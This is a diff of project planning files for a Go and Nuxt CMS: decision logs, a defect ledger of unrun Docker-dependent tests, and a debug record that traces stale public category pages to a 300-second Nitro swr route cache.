- [Phase 16.1]: 16.1-02: D-01/D-03 end-of-phase UAT checks are human-reported but not independently confirmed; queued for /msd-verify-work
|
||||
- [Phase 16.1]: FormatHTML refuse tests require an error and empty result for every unsafe input: with html.WithUnsafe the gate is the only XSS defence
|
||||
- [Phase 16.2]: pact.FormFieldType.ListValue is func(ctx context.Context, value any) string (human adjust at the 16.2-01 checkpoint); plans 03, 05 and 06 use the ctx form
|
||||
- [Phase 16.2]: Plugin field type registry is built per Activate by compileFieldTypes and passed down the compile functions; existing compile functions stay nil-registry wrappers
|
||||
- [Phase 16.2]: Only pact.FormFieldError from a plugin field type's Decode or Upload is a 422; every other plugin error, Load included, is the opaque 500
|
||||
- [Phase 16.2]: Untouched plugin field values are skipped on update by canonical encoding/json comparison with the served value (stored value through Load), per field and locale
|
||||
- [Phase 16.2]: TipTap 3.31.4 pinned exactly for all five editor packages after the human package check (packages approved)
|
||||
- [Phase 16.2]: Blog Editor bundle built through the Vite application pipeline (single ES entry, fixed names, exports kept) because library mode never minifies ES whitespace
|
||||
- [Phase 16.2]: Blog Editor link parsing, rendering and commands use isPolicyUrl (http, https, mailto, relative); on* attributes are never captured; external values load outside the undo history
|
||||
- [Phase 16.2]: Uncaptioned editor images are inline (<p><img></p>); captioned ones are figure with figureImage and figcaption
|
||||
- [Phase 16.2]: Plan 03: the Journal HTML policy needed exactly the four editor-output rules (figure data-embed/data-id, img alt, ol start); the corpus showed no fifth
|
||||
- [Phase 16.2]: Plan 03: editor uploads must sniff as a JPEG/PNG/GIF/WebP type matching the extension; uniqueMediaKey errors instead of overwriting when all numbered names are taken
|
||||
- [Phase 16.2]: Plan 03: admin saves of post content write the Decode output to content and content_html per written locale (FormBefore*/FormAfter* hooks), no goldmark; category 422 gate retired
|
||||
- [Phase 16.2]: 16.2-04: vue-journal-layer mirrors exactly the four Go editor-output rules; embeds expand only at the v-html sinks, after sanitizeJournalHtml
|
||||
- [Phase 16.2]: 16.2-04: vue-journal-layer v0.2.0 published (tag 042b65d0 -> 759e684e, human reply "push"); vue-grzybyfunkcjonalne-app main 465286a pins it; a defect gets v0.2.1
|
||||
- [Phase 16.2]: 16.2-05: summercms v0.1.18 released (human: release v0.1.18); a later defect gets v0.1.19
|
||||
- [Phase 16.2]: 16.2-05: UAT Nuxt rollback copy is nuxt/.output.prev; the site-ok log check reads /var/log/supervisor/grzybyfunkcjonalne-go.log from the restart River anchor (supervisorctl tail fails on UAT)
|
||||
- [Phase 16.3]: D-03 literal: one method-allowed scope must match every required code; ScopeLimit keeps per-scope pattern slices — Locked CONTEXT reading; multi-code lists are stricter than a union
|
||||
- [Phase 16.3]: CLI uses party.Activated at Run time; cabana.RuntimeCommands(app) signature unchanged (Option A) — User-confirmed Option A so host apps only bump versions
|
||||
- [Phase 16.3]: ResolveBackend is Bearer-only (cookie-less JWT guard) — Plugin write routes have no CSRF; cookie auth must not drive them
|
||||
- [Phase 16.3]: 16.3-02: ApiTokensPanel + ApiTokenCreateDialog on /account; plaintext dialog-local only; shared ConfirmDialog for revoke and close-without-copy — UI-SPEC component split
|
||||
- [Phase 16.3]: 16.3-02: expired from API drives Expired chip; dates use CellValue local YYYY-MM-DD / YYYY-MM-DD HH:mm — Plan decisions; no new date format
|
||||
|
||||
### Pending Todos
|
||||
|
||||
@@ -676,6 +717,7 @@ Recent decisions affecting current work:
|
||||
- Phase 11 (River dual-driver split) is documented but unverified against a real build — plan with `--research-phase` and budget a timed-latency test.
|
||||
- Phase 8 UI gate: scripts/check-phase8-ui.mjs --final-gate's real Playwright browser matrix (32 UI-SPEC scenarios) is unimplemented (deliberate fatal() at check-phase8-ui.mjs:458, never authored by 08-05); stage_ui_harness must keep failing closed until a Playwright spec is authored. User approved Phase 8 closure on 2026-09-24 with this gap carried forward -- see 08-10-SUMMARY.md and .planning/phases/08-oauth2-1-authorization-server/deferred-items.md.
|
||||
- pending: push sm-user-plugin — 12.1-05 Task 3 condition (c) failed (`git ls-remote --tags origin v0.1.3` empty). Push summercms.go master and annotated tag v0.1.3 (local on df5cace) first, then the plugin, then fonoteka.go. Recorded in 12.1-05-SUMMARY.md.
|
||||
- 16.2-05 open UAT items: re-save HTML post 1 untouched (D-03 evidence vacuous), D-19 category edit check, root vhost install (frame-src), unpublish/delete test post 105
|
||||
|
||||
### Quick Tasks Completed
|
||||
|
||||
@@ -707,6 +749,8 @@ Recent decisions affecting current work:
|
||||
| 261009-i6e | add the anonymous author endpoint to sm-journal-plugin (D-20) | 2026-10-09 | sm-journal-plugin 908ade9, 57a347c | [261009-i6e-add-the-anonymous-author-endpoint-to-sm-](./quick/261009-i6e-add-the-anonymous-author-endpoint-to-sm-/) |
|
||||
| 261009-mgk | add the category content field to sm-journal-plugin (D-21) | 2026-10-09 | sm-journal-plugin 740dcd0, f22d089, 3d533d4 | [261009-mgk-add-the-category-content-field-to-sm-jou](./quick/261009-mgk-add-the-category-content-field-to-sm-jou/) |
|
||||
| 261009-mys | Add subtitle and avatar to backend users and a My account page (avatar menu, like WinterCMS) | 2026-10-09 | 143eca5, 64d21c8, 4f1cda3, 89611ea | [261009-mys-add-subtitle-and-avatar-to-backend-users](./quick/261009-mys-add-subtitle-and-avatar-to-backend-users/) |
|
||||
| 261010-iwu | Blog Editor live preview pane: toggleable, sandboxed iframe, embed thumbnail cards (16.2 follow-up) | 2026-10-10 | sm-journal-plugin df67939, c1f6a83, 2c78211 | [261010-iwu-blog-editor-live-preview-pane-toggleable](./quick/261010-iwu-blog-editor-live-preview-pane-toggleable/) |
|
||||
| 28 | Admin navbar View site link (admin origin root, new tab) | 2026-10-10 | 85fe541 | — |
|
||||
|
||||
## Deferred Items
|
||||
|
||||
@@ -718,6 +762,6 @@ Items acknowledged and carried forward from previous milestone close:
|
||||
|
||||
## Session Continuity
|
||||
|
||||
Last session: 2026-10-09T19:05:47.263Z
|
||||
Stopped at: Completed 16.1-01-PLAN.md
|
||||
Last session: 2026-10-11T00:07:52.680Z
|
||||
Stopped at: Completed 16.3-02-PLAN.md
|
||||
Resume file: None
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
---
|
||||
schema_version: 1
|
||||
open_count: 4
|
||||
open_count: 14
|
||||
waived_count: 0
|
||||
fixed_count: 6
|
||||
total_count: 10
|
||||
last_updated: 2026-10-05T12:07:04.853Z
|
||||
fixed_count: 7
|
||||
total_count: 21
|
||||
last_updated: 2026-10-10T14:17:06.621Z
|
||||
---
|
||||
|
||||
# Broken Windows Ledger
|
||||
|
||||
> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/gsd-ship` blocks while `open_count > 0`.
|
||||
> Waive with `gsd-tools windows waive <id> "<reason>"` (reason required).
|
||||
> Mark fixed with `gsd-tools windows fixed <id>`.
|
||||
> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/msd-ship` blocks while `open_count > 0`.
|
||||
> Waive with `msd-tools windows waive <id> "<reason>"` (reason required).
|
||||
> Mark fixed with `msd-tools windows fixed <id>`.
|
||||
|
||||
| id | phase | kind | file | line | description | status | reason | recorded_at | resolved_at |
|
||||
|----|-------|------|------|------|-------------|--------|--------|-------------|-------------|
|
||||
@@ -25,6 +25,17 @@ last_updated: 2026-10-05T12:07:04.853Z
|
||||
| 8 | 11 | skipped-test | parity/broadcast_goldens_test.go | | fonoteka.go: TestBroadcastGoldens/created and /updated t.Skip as pending; Phase 12 turns the recorded PHP created/updated goldens into assertions (album subtree, literal created_at/updated_at and artist id handling) | open | | 2026-09-30T11:32:37.302Z | |
|
||||
| 9 | 12.1 | stub | admin/src/components/form/RecordActions.vue | | RecordActions.vue is built and tested but not mounted; plan 12.1-02 mounts it in the preview footer, until then meta.actions is served and no screen shows the buttons | fixed | | 2026-10-04T21:55:30.405Z | 2026-10-05T10:41:16.319Z |
|
||||
| 10 | 12.1 | unmet-truth | .planning/phases/12.1-user-plugin-admin-screens/deferred-items.md | | fonoteka.go: four application tests pin lists the user plugin's admin work changes (TestAdminMetadataFiltering nav list, TestHiddenNeverMarshals user model count, parity TestMigrateSeedsCanonicalGenres and TestRollbackLastIsolatesFonoteka migration ids); with the two from plan 12.1-02 they keep plan 12.1-03's application verify red until plan 12.1-04 updates them | fixed | | 2026-10-05T11:31:36.781Z | 2026-10-05T12:07:04.853Z |
|
||||
| 11 | 16.1 | unrun-verify | modules/cabana/query_relation_test.go | | TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work | open | | 2026-10-09T20:51:22.934Z | |
|
||||
| 12 | 16.1 | unrun-verify | .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md | | sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work | open | | 2026-10-09T20:51:27.671Z | |
|
||||
| 13 | 16.2 | deviation | tests/blogeditor/fixtures/imported-post.html | | sm-journal-plugin: 16.2-02 imported-post fixture is synthetic (same structure as the export post) because reading the journal export was refused by the environment's PII classifier; swap in the real export content if wanted | open | | 2026-10-10T09:54:57.288Z | |
|
||||
| 14 | 16.2 | unrun-verify | plugin_test.go | | sm-journal-plugin: TestJournalSVGEmbed now asserts AdminFS embeds assets/dist/blogeditor.js and .css; the root package TestMain needs Docker, so it was not run here; run go -C ../sm-journal-plugin test -count=1 . on a Docker host (plan 06) | open | | 2026-10-10T09:54:57.583Z | |
|
||||
| 15 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md | | sm-journal-plugin posts_admin_smoke_test.go: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML compile under go vet but need a Docker host (plan 06) | open | | 2026-10-10T10:12:10.725Z | |
|
||||
| 16 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md | | sm-journal-plugin journal_api_categories_test.go TestCategoriesAdminContent (strip assertions) and journal_api_task3_test.go media upload route tests after the StoreMedia refactor need a Docker host (plan 06) | open | | 2026-10-10T10:12:10.986Z | |
|
||||
| 17 | 16.2 | unmet-truth | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md | | 16.2-05 D-03 on an HTML post unproven on UAT: post 1 (HTML_POST) was not written after RESTART_TS (updated_at still 2026-10-09), so posts-unchanged passed vacuously for it; a human must re-save post 1 untouched and the SELECT be re-run | fixed | | 2026-10-10T11:35:56.721Z | 2026-10-10T12:04:50.783Z |
|
||||
| 18 | 16.2 | unmet-truth | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md | | 16.2-05 D-19 human check pending: a one-word category edit in the Blog Editor saves without a removal notice and shows on the site; post 1 source tab shows the stored HTML unchanged | open | | 2026-10-10T11:35:56.955Z | |
|
||||
| 19 | 16.2 | todo | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md | | 16.2-05 UAT root step: install the staging vhost with frame-src https://www.youtube-nocookie.com, nginx -t and reload; unpublish or delete test post uat-16-2-blog-editor (id 105) | open | | 2026-10-10T11:35:57.234Z | |
|
||||
| 20 | 16.2 | unrun-verify | modules/cabana/field_type_postgres_test.go | | 16.2-06 TestFieldTypeSavePostgres (real-database save, show, untouched and refused update, upload in and out of scope) compiles under go vet but needs a Docker host; run bash scripts/check-phase16.2.sh postgres | open | | 2026-10-10T14:17:06.378Z | |
|
||||
| 21 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md | | sm-journal-plugin: 16.2-06 TestCategoriesAdminBlogEditor (categories_admin_editor_test.go) and the rewritten three-stage TestPostsAdminResaveKeepsHTML compile under go vet but need a Docker host; run bash scripts/check-phase16.2.sh postgres | open | | 2026-10-10T14:17:06.621Z | |
|
||||
|
||||
````json
|
||||
[
|
||||
@@ -157,6 +168,149 @@ last_updated: 2026-10-05T12:07:04.853Z
|
||||
"recorded_at": "2026-10-05T11:31:36.781Z",
|
||||
"resolved_at": "2026-10-05T12:07:04.853Z",
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 11,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.1",
|
||||
"file": "modules/cabana/query_relation_test.go",
|
||||
"line": null,
|
||||
"description": "TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-09T20:51:22.934Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 12,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.1",
|
||||
"file": ".planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-09T20:51:27.671Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 13,
|
||||
"kind": "deviation",
|
||||
"phase": "16.2",
|
||||
"file": "tests/blogeditor/fixtures/imported-post.html",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin: 16.2-02 imported-post fixture is synthetic (same structure as the export post) because reading the journal export was refused by the environment's PII classifier; swap in the real export content if wanted",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T09:54:57.288Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 14,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": "plugin_test.go",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin: TestJournalSVGEmbed now asserts AdminFS embeds assets/dist/blogeditor.js and .css; the root package TestMain needs Docker, so it was not run here; run go -C ../sm-journal-plugin test -count=1 . on a Docker host (plan 06)",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T09:54:57.583Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 15,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin posts_admin_smoke_test.go: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML compile under go vet but need a Docker host (plan 06)",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T10:12:10.725Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 16,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin journal_api_categories_test.go TestCategoriesAdminContent (strip assertions) and journal_api_task3_test.go media upload route tests after the StoreMedia refactor need a Docker host (plan 06)",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T10:12:10.986Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 17,
|
||||
"kind": "unmet-truth",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
|
||||
"line": null,
|
||||
"description": "16.2-05 D-03 on an HTML post unproven on UAT: post 1 (HTML_POST) was not written after RESTART_TS (updated_at still 2026-10-09), so posts-unchanged passed vacuously for it; a human must re-save post 1 untouched and the SELECT be re-run",
|
||||
"status": "fixed",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T11:35:56.721Z",
|
||||
"resolved_at": "2026-10-10T12:04:50.783Z",
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 18,
|
||||
"kind": "unmet-truth",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
|
||||
"line": null,
|
||||
"description": "16.2-05 D-19 human check pending: a one-word category edit in the Blog Editor saves without a removal notice and shows on the site; post 1 source tab shows the stored HTML unchanged",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T11:35:56.955Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 19,
|
||||
"kind": "todo",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
|
||||
"line": null,
|
||||
"description": "16.2-05 UAT root step: install the staging vhost with frame-src https://www.youtube-nocookie.com, nginx -t and reload; unpublish or delete test post uat-16-2-blog-editor (id 105)",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T11:35:57.234Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 20,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": "modules/cabana/field_type_postgres_test.go",
|
||||
"line": null,
|
||||
"description": "16.2-06 TestFieldTypeSavePostgres (real-database save, show, untouched and refused update, upload in and out of scope) compiles under go vet but needs a Docker host; run bash scripts/check-phase16.2.sh postgres",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T14:17:06.378Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 21,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin: 16.2-06 TestCategoriesAdminBlogEditor (categories_admin_editor_test.go) and the rewritten three-stage TestPostsAdminResaveKeepsHTML compile under go vet but need a Docker host; run bash scripts/check-phase16.2.sh postgres",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T14:17:06.621Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
}
|
||||
]
|
||||
````
|
||||
|
||||
122
.planning/debug/resolved/category-content-not-on-site.md
Normal file
122
.planning/debug/resolved/category-content-not-on-site.md
Normal file
@@ -0,0 +1,122 @@
|
||||
---
|
||||
status: resolved
|
||||
trigger: "UAT gap G-16.2-2: Updated content in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2 (\"Te grzyby, szczególnie\" changed into \"Te grzyby, a szczególnie\") and i see the change in backend even after refresh but not on frontend"
|
||||
created: 2026-10-10T17:20:00+02:00
|
||||
updated: 2026-10-10T20:05:00+02:00
|
||||
goal: find_root_cause_only
|
||||
---
|
||||
|
||||
## Current Focus
|
||||
|
||||
hypothesis: CONFIRMED (H3) — the host Nuxt app's Nitro swr route cache (`routeRules '/**': { swr: 300 }`) served /cordyceps rendered at 14:59:08 UTC, before the first save; every check the user made (14:59:52–15:00:30) was inside the 300 s fresh window, so Nitro returned that entry without revalidating, and nothing purges it on admin save. The save, the DB and the API are correct.
|
||||
test: done — DB SELECTs, API GET, two Nuxt GETs straddling a lazy revalidation, nginx access log timeline, deployed nitro.mjs cache code
|
||||
expecting: n/a
|
||||
next_action: return ROOT CAUSE FOUND (goal: find_root_cause_only); the gap is a cache-window/UAT-procedure issue, plus a product decision whether editors need instant visibility (purge on save)
|
||||
bug_class: Bohrbug (deterministic: any page view within maxAge of the last render returns the cached entry; the first view after expiry returns it too)
|
||||
reasoning_checkpoint:
|
||||
hypothesis: "The site showed the old text because Nitro's swr route cache for /** (maxAge 300 s, swr: true, in-memory) held a /cordyceps render from 14:59:08 UTC; all the user's post-save views (last at 15:00:30) were before that entry expired at 15:04:08, and Nitro only re-renders an entry when a request arrives after expiry (serving the stale copy to that request). No code path invalidates the entry when the admin saves."
|
||||
confirming_evidence:
|
||||
- "DB row 2 and GET /_journal/api/v1/categories return the new text with identical md5 4053158bd1a58eb7f9547c18cb5a1724"
|
||||
- "127.0.0.1:3016/cordyceps at 15:24:01: last-modified 14:59:08, old text; at 15:25:00: last-modified 15:24:01, new text"
|
||||
- "nginx access log: render 14:59:08, PUTs 14:59:48–15:00:27, user views 14:59:52–15:00:30 all 13269 bytes or 304, no further views until 15:23"
|
||||
- "deployed nitro.mjs: /** cache { swr: true, maxAge: 300 }; get() returns the unexpired entry without resolving and the expired entry stale-first"
|
||||
falsification_test: "If a /cordyceps GET more than 300 s after the save, followed by a second GET, still returned the old text, or the access log showed a user view after 15:04:08 that returned old content and a later one that also did, the hypothesis would be wrong. Observed: post-expiry GET pair returned old then new, exactly as predicted."
|
||||
fix_rationale: "Not applicable (diagnose only). Any fix must either shorten/bypass the cache for editors or invalidate the Nitro cache entry on save; changing the 16.2 save path cannot help, because the save is already correct."
|
||||
blind_spots: "I did not observe the user's browser directly (no client-side cache test), but the access log shows their requests reaching Nuxt and getting the cached body. The swr cache key for _payload.json follows the same rule and was not separately timed. I did not verify whether the 7 PUTs each changed content (only the final state matters)."
|
||||
candidate_causes:
|
||||
- "config: Nitro routeRules swr 300 s with no purge on save (CONFIRMED)"
|
||||
- "code: save writes a different column/locale than the API reads (ELIMINATED — one column, no translation rows)"
|
||||
- "code: Go API caches or returns a stale field (ELIMINATED — API md5 == DB md5)"
|
||||
- "environment: nginx proxy_cache (ELIMINATED — none; reproduced on 127.0.0.1:3016)"
|
||||
- "environment: broken swr revalidation (ELIMINATED — refresh observed at 15:24:01, no SWR errors logged)"
|
||||
- "data: phrase rendered from elsewhere (ELIMINATED — grep of app/layer/build/posts)"
|
||||
- "process: UAT step 'the site shows the change' omits the swr window (CONTRIBUTING)"
|
||||
and_gate: "yes — the visible failure needed the swr cache with no invalidation AND the user viewing the page only within the 300 s window of a render made just before the edit (their own 14:59:08 view). With either one absent (no cache, or a second view after 15:04:08) the change would have shown."
|
||||
|
||||
## Symptoms
|
||||
|
||||
expected: changing one word in a Journal category body in the admin and saving shows no removal notice, and the public site shows the change (Phase 16.2 D-19)
|
||||
actual: the save persisted (admin shows "Te grzyby, a szczególnie" after reload), no error reported, but the public Nuxt site still shows "Te grzyby, szczególnie"
|
||||
errors: none reported
|
||||
reproduction: UAT Test 2 — edit category 2 body at https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2, save, view the public category page
|
||||
started: discovered during Phase 16.2 UAT, edit made ~2026-10-10 17:00 CEST
|
||||
|
||||
## Eliminated
|
||||
|
||||
- hypothesis: H1 — two columns or a translation row: the admin saves one column/locale and the site renders another that is not regenerated
|
||||
evidence: golem15_journal_categories has a single `content` column (no content_html); row 2 updated_at 2026-10-10 15:00:27.94 UTC holds "Te grzyby, a szczególnie" at char 589 and no old phrase; golem15_translate_attributes/indexes have no category rows (only 4 Post rows); en locale is disabled
|
||||
timestamp: 2026-10-10T15:22Z
|
||||
|
||||
- hypothesis: H2 — the public Journal API returns old content (server-side cache in Go, or a different field)
|
||||
evidence: GET http://127.0.0.1:8096/_journal/api/v1/categories?include_empty=1 on the UAT host at 15:24:13 UTC returns category 2 content with "Te grzyby, a szczeg" at 577, no old phrase, md5 4053158bd1a58eb7f9547c18cb5a1724 == DB md5(content); no cache headers
|
||||
timestamp: 2026-10-10T15:24Z
|
||||
|
||||
- hypothesis: H3 variant — the Nitro swr cache is broken (background revalidation errors or hangs, so the entry never refreshes)
|
||||
evidence: the first GET after expiry (15:24:01) triggered a refresh; the next GET (15:25:00) carried last-modified 15:24:01 and the new text; no `[cache] SWR handler error` in /var/log/supervisor/grzybyfunkcjonalne-nuxt.log
|
||||
timestamp: 2026-10-10T15:25Z
|
||||
|
||||
- hypothesis: H3 variant — an nginx proxy cache serves stale pages
|
||||
evidence: sites-enabled/uat.grzybyfunkcjonalne.pl has no proxy_cache; the stale page reproduced against 127.0.0.1:3016 directly (bypassing nginx)
|
||||
timestamp: 2026-10-10T15:24Z
|
||||
|
||||
- hypothesis: H4 — the old text is rendered from somewhere else (hardcoded, another category, a post excerpt)
|
||||
evidence: no match for the old phrase in the app, the layer, the deployed .output or any post column; it was only in category 2 content, and the refreshed render shows the new phrase
|
||||
timestamp: 2026-10-10T15:29Z
|
||||
|
||||
## Evidence
|
||||
|
||||
- timestamp: 2026-10-10T15:22Z
|
||||
checked: UAT DB, SELECT on golem15_journal_categories (all rows) and golem15_translate_* for category model types
|
||||
found: category 2 (cordyceps) content md5 4053158bd1a58eb7f9547c18cb5a1724, length 13903, updated_at 15:00:27.940875 UTC, new phrase present, old phrase absent; no translation rows for categories
|
||||
implication: the save persisted the edit in the only column the API reads; the stale copy is downstream of the DB
|
||||
|
||||
- timestamp: 2026-10-10T15:23Z
|
||||
checked: nginx site uat.grzybyfunkcjonalne.pl (sites-enabled) and the host Nuxt app nuxt.config.ts
|
||||
found: nginx has no proxy_cache; `/` proxies to Nuxt on 127.0.0.1:3016. nuxt.config.ts routeRules `'/**': { swr: 300 }, '/blog/**': { swr: 120 }` (Nitro route cache on the Node server); category pages are at `/:category` (so /cordyceps falls under `/**` swr 300)
|
||||
implication: Nitro's swr route cache is the only HTTP cache between the API and the browser
|
||||
|
||||
- timestamp: 2026-10-10T15:24Z
|
||||
checked: curl -D - http://127.0.0.1:3016/cordyceps on the UAT host (bypasses nginx/basic auth)
|
||||
found: 200, `last-modified: Sat, 10 Oct 2026 14:59:08 GMT`, `cache-control: s-maxage=300, stale-while-revalidate`, body contains the OLD "Te grzyby, szczególnie Cordyceps sine"
|
||||
implication: Nuxt serves a page rendered 79 s BEFORE the save, 25 min after it — far past the 300 s swr TTL. The cache entry is not being refreshed (H3 territory), or a refresh re-renders from stale data
|
||||
|
||||
- timestamp: 2026-10-10T15:24Z
|
||||
checked: vue-journal-layer app/journal-pages/CategoryPage.vue, app/utils/client.ts, app/composables/useJournalApi.ts and the host override sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/composables/useJournalApi.ts
|
||||
found: the category page resolves the slug via GET /categories?include_empty=1 and renders found.content through sanitizeJournalHtml; the server fetcher is a plain $fetch to runtimeConfig.journal.apiBase with no cachedFunction/useStorage/getCachedData
|
||||
implication: no data-level cache in the layer or app; the only cache is the Nitro route (swr) cache around the page renderer
|
||||
|
||||
- timestamp: 2026-10-10T15:25Z
|
||||
checked: second curl of http://127.0.0.1:3016/cordyceps on the UAT host, 59 s after the 15:24:01 request (also /, /blog, /lions-mane)
|
||||
found: /cordyceps now `last-modified: Sat, 10 Oct 2026 15:24:01 GMT` and the body contains the NEW "Te grzyby, a szczególnie"; /lions-mane last-modified 12:40:55, / 14:37:04, /blog 12:40:53 (entries only move when visited after expiry)
|
||||
implication: revalidation works; it is lazy. My 15:24:01 GET (first request after expiry) was served the stale page and triggered the background re-render; the next request got the fresh page. Nothing was broken in the render/refresh path at 15:24
|
||||
|
||||
- timestamp: 2026-10-10T15:26Z
|
||||
checked: nginx access log /var/log/nginx/grzybyfunkcjonalne-uat-access.log, 14:00–15:25 UTC, requests to /cordyceps and the categories admin API
|
||||
found: 14:59:08 GET /cordyceps 200 13320 (the user's pre-edit view; cache entry mtime = 14:59:08, fresh until 15:04:08). PUT /gfadmin/api/v1/golem15/journal/categories/2 x7 at 14:59:48, 14:59:57, 15:00:06, 15:00:13, 15:00:16, 15:00:23, 15:00:27 (all 200). GET /cordyceps at 14:59:52, 14:59:53 (304), 14:59:54 (304), 14:59:55 (304), 15:00:00 x2, 15:00:07–15:00:09 x6, 15:00:30 — every one 200 13269 or 304 (same etag). No /cordyceps request between 15:00:30 and my 15:23:42 one
|
||||
implication: every page view the user made after saving fell inside the 300 s fresh window of the entry rendered at 14:59:08, so Nitro returned it without even scheduling a revalidation; identical 13269-byte bodies and 304s confirm one cached entry was served throughout
|
||||
|
||||
- timestamp: 2026-10-10T15:27Z
|
||||
checked: deployed /srv/grzybyfunkcjonalne/nuxt/.output/server/chunks/nitro/nitro.mjs (defineCachedFunction get(), routeRules, storage mounts)
|
||||
found: routeRules `/**` → `cache: { swr: true, maxAge: 300 }`, `/blog/**` → maxAge 120. get(): `expired = ... ttl && Date.now() - entry.mtime > ttl`; not expired → returns the entry, no resolve; expired + swr → returns the stale entry and re-renders in the background (event.waitUntil). Cache storage is the root in-memory driver (only `data` is mounted to fsLite). Nuxt log has no `[cache] SWR handler error`
|
||||
implication: the observed behaviour is exactly Nitro swr semantics: an edit becomes visible only after the TTL has expired AND one request has triggered the re-render, i.e. on the second visit after expiry; worst case is unbounded in wall time for a page nobody visits, best case is ~300 s + one throwaway load
|
||||
|
||||
- timestamp: 2026-10-10T15:28Z
|
||||
checked: grep for purge/revalidate/invalidate/swr in sm-journal-plugin, vue-journal-layer, sm-grzybyfunkcjonalne-app; planning docs (16-CONTEXT D-07, DEPLOY.md, host README, 16.2-VERIFICATION)
|
||||
